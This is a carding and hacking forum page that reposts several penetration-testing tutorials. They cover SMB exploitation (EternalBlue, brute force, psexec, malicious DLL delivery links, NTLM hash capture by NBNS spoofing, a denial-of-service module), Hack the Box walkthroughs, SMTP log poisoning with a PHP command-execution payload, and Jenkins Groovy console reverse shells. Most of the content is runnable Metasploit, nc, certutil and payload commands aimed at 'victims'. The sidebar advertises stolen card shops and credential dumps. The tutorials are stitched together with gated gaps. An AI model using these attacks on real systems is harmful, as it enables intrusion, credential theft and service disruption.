Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum

Welcome, Guest

You have to register before you can post on our site.

Search Forums

(Advanced Search)

Forum Statistics

» Members: 114,296
» Latest member: Visionjhy
» Forum threads: 13,082
» Forum posts: 20,983

Full Statistics

Latest Threads

STUFF CC – BEST CC SHOP

2 hours ago

Last post by StuffCC

Vn5socks.net - Service Se...

6 hours ago

Last post by FireHeaven

Shopsocks5.com - Service ...

Yesterday, 12:42 PM

Last post by shopsocks5.com

Secretline.top @StarLinkC...

11-08-2026, 03:45 AM

Last post by Max097

Secretline.top @StarLinkC...

11-07-2026, 03:35 PM

Last post by Max097

Secretline.top @StarLinkC...

11-06-2026, 03:07 PM

Last post by Max097

[LUPIN ULP] 16.279.483 | ...

11-06-2026, 05:23 AM

Last post by ImLupin

Secretline.top @StarLinkC...

11-06-2026, 05:20 AM

Last post by Max097

Secretline.top @StarLinkC...

11-05-2026, 05:12 PM

Last post by Max097

⚡[350M] - UHQ ULP || URL:...

11-05-2026, 02:17 PM

Last post by eaglecloudofficial

[Guide] How to SMB Penetration Testing (Port 445)

Posted by: NINZA - 05-14-2020, 11:10 AM - Forum: Carders Home - No Replies

In this article, we will learn how to gain control over our victim’s PC through SMB Port. There are various ways to do it and let take time and learn all those because different circumstances call for a different measure.
Table of Content
Introduction to SMB Protocol

Working of SMB
Versions of Windows SMB
SMB Protocol Security

SMB Enumeration
Scanning Vulnerability
Multiple Ways to Exploit SMB

Eternal Blue
SMB login via Brute Force
PSexec to connect SMB
Rundll32 One-liner to Exploit SMB
SMB Exploit via NTLM Capture

SMB DOS-Attack
Post Exploitation
File Sharing

smbserver
smbclient

Introduction to SMB Protocol
Server Message Block (SMB), the modern dialect of which was known as Common Internet File System, operates as an application-layer network protocol for file sharing that allows applications on a computer to read and write to files and to request services from server programs in a computer network. The SMB protocol can be used on top of its TCP/IP protocol or other network protocols. Using the SMB protocol, an application (or the user of an application) can access files or other resources at a remote server. This allows applications to read, create, and update files on the remote server. It can also communicate with any server program that is set up to receive an SMB client request
Working of SMB
SMB functions as a request-response or client-server protocol. The only time that the protocol does not work in a response-request framework is when a client requests an opportunistic lock (oplock) and the server has to break an existing oplock because the current mode is incompatible with the existing oplock. Client computers using SMB connect to a supporting server using NetBIOS over TCP/IP, IPX/SPX, or NetBUI. Once the connection is established, the client computer or program can then open, read/write, and access files similar to the file system on a local computer.
Versions of Windows SMB
CIFS: The old version of SMB, which was included in Microsoft Windows NT 4.0 in 1996.
SMB 1.0 / SMB1: The version used in Windows 2000, Windows XP, Windows Server 2003 and Windows Server 2003 R2.
SMB 2.0 / SMB2: This version used in Windows Vista and Windows Server 2008.
SMB 2.1 / SMB2.1: This version used in Windows 7 and Windows Server 2008 R2.
SMB 3.0 / SMB3: This version used in Windows 8 and Windows Server 2012.
SMB 3.02 / SMB3: This version used in Windows 8.1 and Windows Server 2012 R2.
SMB 3.1: This version used in Windows Server 2016 and Windows 10.
Presently, the latest version of SMB is the SMB 3.1.1 which was introduced with Windows 10 and Windows Server 2016. This version supports AES 128 GCM encryption in addition to AES 128 CCM encryption added in SMB3, and implements pre-authentication integrity check using SHA-512 hash. SMB 3.1.1 also makes secure negotiation mandatory when connecting to clients using SMB 2.x and higher.
SMB Protocol Security
The SMB protocol supports two levels of security. The first is the share level. The server is protected at this level and each share has a password. The client computer or user has to enter the password to access data or files saved under the specific share. This is the only security model available in the Core and Core plus SMG protocol definitions. User level protection was later added to the SMB protocol. It is applied to individual files and each share is based on specific user access rights. Once a server authenticates the client, he/she is given a unique identification (UID) that is presented upon access to the server. The SMB protocol has supported individual security since LAN Manager 1.0 was implemented.
SMB Enumeration
To identify the following information of Windows or Samba system, every pentester go for SMB enumeration during network penetration testing.

Banner Grabbing
RID cycling
User listing
Listing of group membership information
Share enumeration
Detecting if a host is in a workgroup or a domain
Identifying the remote operating system
Password policy retrieval

Here you can observe, we are using nmap the most famous network scanning tool for SMB enumeration.
nmap -p 445 -A 192.168.1.101
1
nmap -p 445 -A 192.168.1.101
As a result, we enumerated the following information about the target machine:
Operating System: Windows 7 ultimate
Computer Name & NetBIOS Name: Raj
SMB security mode: SMB 2.02
There are so many automated scripts and tools available for SMB enumeration and if you want to know more about SMB Enumeration then read this article “

[To see content please register here]

”.

Scanning Vulnerability
During the enumeration phase, generally, we go for banner grabbing to identify a version of running service and the host operating system. Once you enumerate this information then you should go for vulnerability scanning phase to identify whether the install service is a vulnerable version or patched version.
Nmap serves various scripts to identify a state of vulnerability for specific services, similarly, it has the inbuilt script for SMB to identify its vulnerable state for given target IP.
nmap --script smb-vuln* -p 445 192.168.1.101
1
nmap --script smb-vuln* -p 445 192.168.1.101
As result, it has shown the target machine is highly vulnerable to Ms17-010 (eternal blue) due to SMBv1.
To know more about Ms17-010 read the complete article “

[To see content please register here]

”

Multiple Ways to Exploit SMB
Eternal Blue
As we know it is vulnerable to MS17-010 and we can use Metasploit to exploit this machine. Therefore we run the following module which will directly exploit the target machine.
use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set rhost 192.168.1.101
msf exploit(ms17_010_eternalblue) > exploit
1
2
3
use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set rhost 192.168.1.101
msf exploit(ms17_010_eternalblue) > exploit
Boom!! We have successfully access remote machine shell as shown in the bellow image.
[Image: 3.png?w=687&ssl=1]

SMB login via Brute Force
If you get fail to enumerate the vulnerable state of SMB or found a patched version of SMB in the target machine, then we have “Brute force” as another option to gain unauthorized access of remote machine.
Here we only need two dictionaries that contain a list of username and password in each and a brute force tool to make brute force attack.
hydra -L user.txt -P pass.txt 192.168.1.101 smb
1
hydra -L user.txt -P pass.txt 192.168.1.101 smb
-L –> denotes the path of username list
-P –>denote the path of password
Once the commands are executed it will start applying the dictionary attack and so you will have the right username and password in no time. After a few minutes, Hydra cracks the credential, as you can observe that we had successfully grabbed the SMB username as raj and password as 123.
To know more about it, read the complete article from here “

[To see content please register here]

”

If you have SMB login credential, then you can use the following module to determine what local users exist via the SAM RPC service.
use auxiliary/scanner/smb/smb_enumusers
msf auxiliary(smb_enumusers) > set rhosts 192.168.1.101
msf auxiliary(smb_enumusers) > set smbuser raj
msf auxiliary(smb_enumusers) > set smbpass 123
msf auxiliary(smb_enumusers) > exploit
1
2
3
4
5
use auxiliary/scanner/smb/smb_enumusers
msf auxiliary(smb_enumusers) > set rhosts 192.168.1.101
msf auxiliary(smb_enumusers) > set smbuser raj
msf auxiliary(smb_enumusers) > set smbpass 123
msf auxiliary(smb_enumusers) > exploit
[Image: 5.png?w=687&ssl=1]

PSexec – To Connect SMB
Once you have SMB login credential of target machine then with the help of the following module of Metasploit you can obtain meterpreter session to access the remote shell.
use exploit/windows/smb/psexec
msf exploit windows/smb/psexec) > set rhost 192.168.1.101
msf exploit(windows/smb/psexec) > set smbuser raj
msf exploit(windows/smb/psexec) > set smbpass 123
msf exploit(windows/smb/psexec) > exploit
1
2
3
4
5
use exploit/windows/smb/psexec
msf exploit windows/smb/psexec) > set rhost 192.168.1.101
msf exploit(windows/smb/psexec) > set smbuser raj
msf exploit(windows/smb/psexec) > set smbpass 123
msf exploit(windows/smb/psexec) > exploit
Once the commands run you will gain a meterpreter session of your victim’s PC and so you can access it as you want.
There so many script and tools are available to connect remote machine using SMB protocol, we have already written an article for connecting SMB in multiple ways. Read complete article from here “

[To see content please register here]

”.

Rundll32 One-liner to Exploit SMB
This module serves payloads via an SMB server and provides commands to retrieve and execute the generated payloads. Currently supports DLLs and Powershell.
use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109
msf exploit(windows/smb/smb_delivery) > exploit
1
2
3
use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109
msf exploit(windows/smb/smb_delivery) > exploit
This will generate a link for malicious DLL file, now send this link to your target and wait for his action.
[Image: 7.1.png?w=687&ssl=1]

As soon as the victim will run above malicious code inside the run prompt or command prompt, we will get a meterpreter session at Metasploit.
[Image: 7.2.png?w=687&ssl=1]

SMB Exploit via NTLM Capture
Another method to exploit SMB is NTLM hash capture by capturing response password hashes of SMB target machine.
This module provides an SMB service that can be used to capture the challenge-response password hashes of SMB client systems. Responses sent by this service have by default the configurable challenge string (\x11\x22\x33\x44\x55\x66\x77\x88), allowing for easy cracking using Cain & Abel, L0phtcrack or John the Ripper (with jumbo patch). To exploit this, the target system must try to authenticate to this module.
use auxiliary/server/capture/smb
msf auxiliary(smb) > set srvhost 192.168.1.109
msf auxiliary(smb) > set johnpwfile /root/Desktop/
msf auxiliary(smb) > exploit
1
2
3
4
use auxiliary/server/capture/smb
msf auxiliary(smb) > set srvhost 192.168.1.109
msf auxiliary(smb) > set johnpwfile /root/Desktop/
msf auxiliary(smb) > exploit
Simultaneously run NBNS_response module under capture smb module.
This module forges the NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests sent to the local subnet’s broadcast address and spoof a response, redirecting the querying machine to an IP of the attacker’s choosing. Combined with auxiliary/server/capture/smb or auxiliary/server/capture/http_ntlm it is a highly effective means of collecting crackable hashes on common networks. This module must be run as root and will bind to udp/137 on all interfaces.
auxiliary/spoof/nbns/nbns_response
msf auxiliary(nbns_response) > set spoofip 192.168.1.109
msf auxiliary(nbns_response) > set interface eth0
msf auxiliary(nbns_response) >exploit
1
2
3
4
auxiliary/spoof/nbns/nbns_response
msf auxiliary(nbns_response) > set spoofip 192.168.1.109
msf auxiliary(nbns_response) > set interface eth0
msf auxiliary(nbns_response) >exploit
As result, this module will generate a fake window security prompt on the victim’s system to establish a connection with another system in order to access shared folders of that system.
[Image: 7.png?w=687&ssl=1]

We had use nmap UDP and TCP port scanning command for identifying open ports and protocol and from the given image you can observe that port 137 is open for NetBIOS network service in our local machine.
[Image: 8.png?w=687&ssl=1]

Now when the victim will try to access our share folder, therefore, he will try of connecting with us through his network IP, given below image is a proof to demonstrate that victim is connecting malicious IP: 192.168.1.109. When the victim will try to access the shared folder, he will get trap into fake window security alert prompt, which will ask victims to enter his username and password for accessing shared folders.
[Image: 9.png?w=687&ssl=1]

Awesome!! Once again the attacker had captured NTMLv2 hash, from the given image you can see that here also the attacker has captured:
Username: raj
[Image: 10.png?w=687&ssl=1]

Now use john the ripper to crack the ntlmv2 hash by executing given below command
john john_smb_netntlmv2
1
john john_smb_netntlmv2
From given below image you can confirm we had successfully retrieved the password: 123 for user: pentest by cracking ntlmv2 hash.
To know more about it read the complete article from here “

[To see content please register here]

”

SMB DOS-Attack
SMB Dos attack is another most excellent method we have in our Metasploit framework.
This module exploits a denial of service flaw in the Microsoft Windows SMB client on Windows 7 and Windows Server 2008 R2. To trigger this bug, run this module as a service and forces a vulnerable client to access the IP of this system as an SMB server. This can be accomplished by embedding a UNC path (\HOST\share\something) into a web page if the target is using Internet Explorer or a Word document otherwise.
use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
msf auxiliary(ms10_006_negotiate_response_loop) > set srvhost 192.168.1.106
msf auxiliary(ms10_006_negotiate_response_loop) > exploit
1
2
3
use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
msf auxiliary(ms10_006_negotiate_response_loop) > set srvhost 192.168.1.106
msf auxiliary(ms10_006_negotiate_response_loop) > exploit
Now, when the victim will try to access the shared folder through our malicious IP, the target machine will get crushed and this attack is very effective.
[Image: 13.png?w=687&ssl=1]

Post Exploitation
This module will enumerate configured and recently used file shares.
use post/windows/gather/enum_shares
msf post(enum_shares) > set session 1
msf post(enum_shares) > exploit
1
2
3
use post/windows/gather/enum_shares
msf post(enum_shares) > set session 1
msf post(enum_shares) > exploit
As you can observe that, here it has shown three UNC paths that have been entered in the run dialogue.
[Image: 17.png?w=687&ssl=1]

File Sharing
Smbexec.py
Now we will use a python script that activates SMB service in our Linux machine. This is useful in the situation where the target machine does NOT have a writeable share available. You can visit

[To see content please register here]

for this python script.
I copied the python code from GitHub and past it into a text file as smbserver.py in the desktop folder. Now execute give below command for a shared folder “raj”.
[Image: 18.png?w=687&ssl=1]

Since we are aware of smb service which is running in host machine 192.168.1.108 and being using window platform we can access it share folder through Run command prompt.
[Image: 19.png?w=687&ssl=1]

Hence you can observe that we had successfully access folder “raj” and found two text file user and pass in it. In this way, we can use smb python script for sharing file between Windows and Linux machine.
[Image: 20.png?w=687&ssl=1]

smbclient //192.168.1.108/raj
1
smbclient //192.168.1.108/raj
As you can observe with the help of smbclient we are able to view the shared folder of victim’s machine. Moreover, we can use smbclient for sharing a file in the network. Here you can observe we had login successfully using raj: 123 logins and transfer the user.txt file.
[Image: 22.png?w=687&ssl=1]

Today we are going to solve another CTF challenge “Fighter”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Fighter is 10.10.10.72
Penetrating Methodology

Network scanning (Nmap)
Browsing IP address through HTTP
Adding Domain name to /etc/hosts
Bruteforcing subdomains
Adding new domain name to /etc/hosts
RCE using SQL injection
Upgrading shell to meterpreter session
Finding vulnerable service
Editing Exploit to bypass OS check
Finding root.exe
Reversing program to find the password
Creating a C-program to find the password
Getting the root flag

Walkthrough
Let’s start off with our basic nmap command to find out the open ports and services.
nmap -sV -sC -T4 10.10.10.72
1
nmap -sV -sC -T4 10.10.10.72
[Image: 1.png?w=687&ssl=1]

The Nmap output shows us that there is only 1 port open: 80(HTTP)
[Image: 2.png?w=687&ssl=1]

We find that port 80 is running http, so we open the IP in our browser.
In the homepage, we find the Domain name “streetfighterclub.htb”. We add the domain to our /etc/hosts file.
[Image: 3.png?w=687&ssl=1]

We don’t find anything new on the webpage, but further looking into the webpage we find that there might be subdomains available that will give us more clues. We intercept the request and send it to the intruder. We select where we want to brute force the request.
[Image: 4.png?w=687&ssl=1]

We select the wordlist, we use namelist.txt located in /usr/share/dnsrecon/.
[Image: 5.png?w=687&ssl=1]

After bruteforcing, we find a subdomain called “members.streetfighterclub.htb” that gave HTTP code 403.
[Image: 6.png?w=687&ssl=1]

We add the subdomain in /etc/hosts so that we can access the web site.
[Image: 7.png?w=687&ssl=1]

We open the webpage and got a 403 Forbidden error.
[Image: 8.png?w=687&ssl=1]

We now run a dirb scan on the members.streetfighter.htb and find a directory called “old”.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

We then find web pages inside that directory. As we know that it is IIS server we find “asp” files on the web server and find a page called “login.asp”.
dirb

[To see content please register here]

-X .asp
1
dirb

[To see content please register here]

-X .asp

We open the web page and find a login page.
[Image: 11.png?w=687&ssl=1]

We enumerate the webpage and find that the web application is vulnerable to SQL injection. We find username, password, and e-mail but were unable to login. So we tried command injection using SQL injection. We referred this

[To see content please register here]

We set up our listener and got a reverse shell.
nc -lvp 80
1
nc -lvp 80
[Image: 14.png?w=687&ssl=1]

We are not able to find anything on the target machine. So we try to convert our shell into meterpreter but are unable to run any exe file. So there was a firewall that didn’t allow us to run any exe file. We got a reference through this link on how to bypass this. We use the nps payload to create an XML file that will contain our payload (download from

[To see content please register here]

We move into “c:\users\sqlserv” as we have a shell as user sqlserv.
[Image: 16.png?w=687&ssl=1]

We run the command provided by npc payload to start our listener.
msfconsole -r msbuild_nps.rc
1
msfconsole -r msbuild_nps.rc
[Image: 17.png?w=687&ssl=1]

We start our python HTTP Server to send our file to the target machine.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
[Image: 19.png?w=687&ssl=1]

We download the file using certutil.exe on the target machine.
certutil.exe -urlcache -split -f

[To see content please register here]

msbuild_nps.xml
1
certutil.exe -urlcache -split -f

[To see content please register here]

msbuild_nps.xml
[Image: 20.png?w=687&ssl=1]

We then run the XML file we uploaded using msbuild.exe.
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe msbuild_nps.xml
1
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe msbuild_nps.xml
[Image: 21.png?w=687&ssl=1]

As soon as we run the file we get a meterpreter session. As we can see by running sysinfo we have a 32-bit meterpreter session on a 64-bit machine.
[Image: 22.png?w=687&ssl=1]

To convert it into 64-bit session, we check the processes and find the 64-bit running process. We then migrate our process to a 64-bit process and get a 64-bit session.
meterpreter > ps
meterpreter > migrate 2320
1
2
meterpreter > ps
meterpreter > migrate 2320
[Image: 23.png?w=687&ssl=1]

We still don’t find anything to escalate our privilege. As this machine on street fighter game, we try to google street fighter exploit and find that street fighter 5 has privilege escalation vulnerability. We find that street fighter has a service called Capcom, so we check if street fighter 5 is installed on the target machine.
sc query capcom
1
sc query capcom
[Image: 24.png?w=687&ssl=1]

We find this Metasploit exploit

[To see content please register here]

, we try to run it but are unable to get a shell as it gave an error stating that the system was not vulnerable. So we make changes to the code and comment out the section where it checks the OS version.
[Image: 25.png?w=687&ssl=1]

Now we are successfully able to run the exploit.
msf > use exploit/windows/local/capcom_sys_exec
msf exploit(windows/local/capcom_sys_exec) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/capcom_sys_exec) > set lhost tun0
msf exploit(windows/local/capcom_sys_exec) > set lport 80
msf exploit(windows/local/capcom_sys_exec) > set session 2
msf exploit(windows/local/capcom_sys_exec)> run
1
2
3
4
5
6
msf > use exploit/windows/local/capcom_sys_exec
msf exploit(windows/local/capcom_sys_exec) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/capcom_sys_exec) > set lhost tun0
msf exploit(windows/local/capcom_sys_exec) > set lport 80
msf exploit(windows/local/capcom_sys_exec) > set session 2
msf exploit(windows/local/capcom_sys_exec)> run
[Image: 26.png?w=687&ssl=1]

When we check the uid we find that we are successfully able to get administrative rights.
[Image: 27.png?w=687&ssl=1]

We enumerate the directories to find the flags and inside “c:\users\decoder\Desktop”, we find a file called “user.txt”. When we take look at the content of the file we find our first flag.
[Image: 28.1.png?w=687&ssl=1]

We move into c:\users\Administratror\Desktop and find a file called “root.exe”. We run it and find that it asks for a password. There is also a DLL file called “checkdll.dll”, as the password might be checked using this DLL file.
[Image: 28.png?w=687&ssl=1]

We download both the files into our system using meterpreter.
download root.exe /root/Desktop
download checkdll.dll /root/Desktop
1
2
download root.exe /root/Desktop
download checkdll.dll /root/Desktop
[Image: 29.png?w=687&ssl=1]

We reverse engineer them using IDA and find that this program XOR’s 9 with each character of the variable aFmFeholH. Now analyzing with IDA tells us that the variable contains “Fm

Code:
The contents of this section are hidden for your group

Code:
The contents of this section are hidden for your group

Code:
The contents of this section are hidden for your group

We compile and run the file and get the password to be “OdioLaFeta”.
[Image: 32.png?w=687&ssl=1]

When we provide the password to the root.exe we get our final flag.
[Image: 33.png?w=687&ssl=1]

In this Post, we will be discussing on SMTP log poisoning. But before getting in details, kindly read our previous articles for “

[To see content please register here]

” and “Beginner Guide to File Inclusion Attack (LFI/RFI)”. Today you will see how we can exploit a web server by abusing SMTP services if the web server is vulnerable to local file Inclusion.
Let’s Start!!
With the help of Nmap, we scan for port 25 and as result, it shows port 25 is open for SMTP service.
nmap -p25 192.168.1.107
1
nmap -p25 192.168.1.107
[Image: 1.png?w=687&ssl=1]

This attack is truly based on Local file Inclusion attack; therefore I took help of our previous

[To see content please register here]

where I Created a PHP file which will allow the user to include a file through file parameter.
As a result, you can observe that we are able to access /etc/passwd file of the victim machine.
[Image: 2.png?w=687&ssl=1]

Now if you are able to access the mail.log file due to LFI, it means the mail.log has read and write permission and hence we can infect the log file by injecting malicious code.
[Image: 4.png?w=687&ssl=1]

Now let’s try to enumerate further and connect to the SMTP (25) port
telnet 192.168.1.107 25
1
telnet 192.168.1.107 25
As we can see, we got connected to the victim machine successfully. Now let’s try to send a mail via command line (CLI) of this machine and send the OS commands via the “RCPT TO” option. Since the mail.log file generates a log for every mail when we try to connect with the web server. Taking advantage of this feature now I will send malicious PHP code as the fake user and it will get added automatically in the mail.log file as a new log.
MAIL FROM:<[email protected]>
RCPT TO:<?php system($_GET['c']); ?>
1
2
MAIL FROM:<[email protected]>
RCPT TO:<?php system($_GET['c']); ?>
[Image: 5.png?w=687&ssl=1]

Note: We can ignore the 501 5.1.3 Bad recipient address syntax server response as seen in the above screenshot because ideally the internal email program of the server (victim machine), is expecting us to input an email ID and not the OS commands.
As our goal is to inject PHP code into the logs and this stage is called logfile poisoning and we can clearly see that details of mail.log, as well as execute comment given through cmd; now execute ifconfig as cmd comment to verify network interface and confirm its result from inside the given screenshot.
192.168.1.107/lfi/lfi.php?file=/var/log/mail.log&c=ifconfig
1
192.168.1.107/lfi/lfi.php?file=/var/log/mail.log&c=ifconfig
You can observe its output in its source code as shown in the below image:
[Image: 6.png?w=687&ssl=1]

This technique is known as SMTP log poisoning and through such type of vulnerability, we can easily take the reverse shell of the victim’s machine.
Execute following command inside Metasploit:
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set lport 8888
msf exploit (web_delivery)>exploit
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set lport 8888
msf exploit (web_delivery)>exploit
Copy the highlighted text shown in below window
[Image: 7.png?w=687&ssl=1]

Paste the above copied malicious code inside URL as shown in the given image and execute it as cmd comment.
[Image: 8.png?w=687&ssl=1]

When the above code gets executed you will get meterpreter session 1 of the targeted web server.
msf exploit (web_delivery)>sessions 1
meterpreter> sysinfo
1
2
msf exploit (web_delivery)>sessions 1
meterpreter> sysinfo
[Image: 9.png?w=687&ssl=1]

Today we are going to solve another CTF challenge “Mischief”. Mischief is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to their experience; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Easy
Task: To find user.txt and root.txt file
Penetration Methodologies
Scanning Network

TCP and UDP ports scanning (Nmap)

Enumeration

SNMP Service Enumeration (Nmap Script)
Obtain credential for port 3366 login
Identify IPv6 address (ENYX)
Scanning Ipv6 (Nmap)

Access Victim’s Shell

Abusing web server through the Command Execution Panel
Obtain reverse Shell via ncat
Get user.txt flag

Privilege Escalation

Obtain root password from bash_history
Find root.txt flag

Scanning Network
Note: Since these labs are online available therefore they have a static IP. The IP of this lab is 10.10.10.92
Let’s start off with our nmap Aggressive scan to find out the open ports and services.
nmap -A 10.10.10.92
1
nmap -A 10.10.10.92
[Image: 1.png?w=687]

But as you can observe that here we didn’t obtain much information, therefore further I scan for UDP port and from its result we got port 161 is open for SNMP.
nmap -sU 10.10.10.92
1
nmap -sU 10.10.10.92

Enumeration
Because we were knowing SNMP service is enable in the network, therefore I run nmap script command for SNMP enumeration.
nmap -p161 –sC –sV –sU 10.10.10.92
1
nmap -p161 –sC –sV –sU 10.10.10.92
[Image: 3.png?w=687]

Hmmm!! So here I found something very interesting and it looks like the login credential to be used as authentication to connect port 3366.
[Image: 4.png?w=687]

Let’s navigate to port 3366 in the web browser and enter the following credential.
Username: loki
Password: godofmischiefisloki
1
2
Username: loki
Password: godofmischiefisloki
[Image: 5.png?w=687]

Here, we were welcomed by following web page where it was holding another credential. Let’s dig out another way to utilize this credential for login.
[Image: 6.png?w=687]

We use a python script called Enyx to find the ipv6 address of the target machine. You can get the script from this

[To see content please register here]

.
git clone //github.com/trickster0/Enyx.git
python enyx.py 2c public 10.10.10.92
1
2
git clone //github.com/trickster0/Enyx.git
python enyx.py 2c public 10.10.10.92
So as you can observe that we have enumerated IPv6 address of victim’s machine and further scan it using nmap command given below:
nmap -6 <target IPV6>
1
nmap -6 <target IPV6>
Hmmm!! So along with Port 22, this time it has also shown port 80 for HTTP services.
[Image: 7.png?w=687]

So we navigate to the web browser and explore Target IPv6 address in the URL, it put a login page for command execution panel. So we try to login this page with the credential we found earlier but that wasn’t the valid credential.
[Image: 8.png?w=687]

Access Victim’s Shell

Further, I try brute force for username and successfully get login with the following combination:
Username: administrator
Password: trickeryanddeceit
1
2
Username: administrator
Password: trickeryanddeceit
Since it was Command Execution Panel where we can run arbitrary system commands, hence this was RCE which could be easily exploited and we can own reverse shell of the target machine.
[Image: 9.png?w=687]

But before that, you must know Ipv6 address of your local machine for addressing your IP as listening IP.
[Image: 10.1.png?w=687]

For the reverse shell, I use python reverse shellcode from pentestmonkey, and modify lhost IP from our IPv6 address. Since both nodes belong to IPv6, therefore we need a listener which can establish a reverse connection such as ncat, therefore we started ncat as the listener on port 1234.
ncat -6- -lvp 1234
1
ncat -6- -lvp 1234
[Image: 10.png?w=687]

As soon we will execute the malicious python code, we will get a reverse connection via ncat.
Great!! You can observe that we have access to remote terminal and let’s try to find out user.txt file to complete our first task. We found the user.txt file in the /home/loki but unable to read it. Although, there was another interesting file “credentials” and here we found another credential.
[Image: 11.png?w=687]

As port 22 was running, therefore we connect to the remote machine through ssh using the following credential.
Username: loki
Password: lokiisthebestnorsegod
ssh [email protected]
1
2
3
Username: loki
Password: lokiisthebestnorsegod
ssh [email protected]
And successfully found user.txt file this time as shown below.
[Image: 13.png?w=687]

Privilege Escalation
While exploring more, I found .bash_history file where I found one more credential for root user but loki doesn’t have permission to execute switch user command.
[Image: 14.png?w=687]

Therefore, we move back to www-data user shell to run switch user command and enter the above-found password for root login, then try to find out root.txt file inside the root directory but there wasn’t any flag. Therefore with the help of find command, we try to enumerate the path of root.txt.

find / -name root.txt
1
find / -name root.txt
Booom!! We got the path of the root.txt file and as you can observe that we have successfully captured the last flag and finished this challenge.
[Image: 15.png?w=687]

[Guide] How to Exploiting Jenkins Groovy Script Console in Multiple Ways

Posted by: NINZA - 05-14-2020, 11:08 AM - Forum: Carders Home - No Replies

There were so many possibilities to exploit Jenkins however we were interested in Script Console because Jenkins has lovely Groovy script console that permits anyone to run arbitrary Groovy scripts inside the Jenkins master runtime.
Table of Content

Jenkins Groovy Script Console
Exploit Groovy Script Console using Metasploit
revsh.groovy
Groovy executing shell commands -I
Groovy executing shell commands -II

Jenkins Groovy Script Console
Jenkins features a nice Groovy script console which allows one to run arbitrary Groovy scripts within the Jenkins master runtime or in the runtime on agents. It is a web-based Groovy shell into the Jenkins runtime. Groovy is a very powerful language which offers the ability to do practically anything Java can do including:

Create sub-processes and execute arbitrary commands on the Jenkins master and agents.
It can even read files in which the Jenkins master has access to on the host (like /etc/passwd)
Decrypt credentials configured within Jenkins.
Granting a normal Jenkins user Script Console Access is essentially the same as giving them Administrator rights within Jenkins.

Source:

[To see content please register here]

Exploit Groovy Script Console using Metasploit
This module uses the Jenkins-CI Groovy script console to execute OS commands using Java.
use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > set rhost 192.168.1.106
msf exploit(jenkins_script_console) > set rport 8484
msf exploit(jenkins_script_console) > set targeturi /
msf exploit(jenkins_script_console) > set target 0
msf exploit(jenkins_script_console) > exploit
1
2
3
4
5
6
use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > set rhost 192.168.1.106
msf exploit(jenkins_script_console) > set rport 8484
msf exploit(jenkins_script_console) > set targeturi /
msf exploit(jenkins_script_console) > set target 0
msf exploit(jenkins_script_console) > exploit
Metasploit uses command stager to exploit against command injection.
[Image: 1.png?w=687&ssl=1]

Hence, you can observe, that it has given meterpreter session of the victim’s machine.
[Image: 2.png?w=687&ssl=1]

revsh.groovy
Suppose if you found Jenkins without login password or you are a normal user who has permission to access script console then you can exploit this privilege to get the reverse shell of the machine. At Jenkins Dashboard go to Manage Jenkins and then select Script Console.
[Image: 3.png?w=687&ssl=1]

At script console, you have full privilege to run any program code, therefore I try to execute following piece of code which I had taken from

[To see content please register here]

to get the reverse connection on my local machine via netcat listener.
[Image: 4.png?w=687&ssl=1]

nc -lvp 1234
1
nc -lvp 1234
Once the above script will be executed, it will give netcat session of the victim’s machine.
[Image: 5.png?w=687&ssl=1]

Groovy executing shell commands -I
Similarly, with the help of following the piece of code which I found from this

[To see content please register here]

, I try to create RCE for executing OS command through groovy script console.
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ipconfig'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
1
2
3
4
5
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ipconfig'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
Once you will run the script, it will execute the command given inside the code. you can observe result where we have fetched network configuration due to ipconfig command.
[Image: 6.png?w=687&ssl=1]

Groovy executing shell commands -II
Similarly, I found another very small piece of code to exploit the Groovy Console from

[To see content please register here]

, which will generate RCE and execute the shell command.
def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");
1
2
def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");
Again you will run the script, it will execute the command given inside the code. you can observe result where we have fetched directory list due to dir command.
[Image: 7.png?w=687&ssl=1]

Today we are going to solve another CTF challenge “Nightmare”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of Nightmare is 10.10.10.66
Penetrating Methodology

Network scanning (Nmap)
Browsing IP address through HTTP
Checking for SQL injection vulnerability
Exploiting Second-Order Injection
Login through SSH
Login through SFTP
Exploiting SFTP to gain a reverse shell
Discovering files with SGID bit set
Privileges escalation using “sls”
Finding exploit for kernel
Making changes to the exploit
Getting root privilege using the exploit
Getting the root flag

Walkthrough
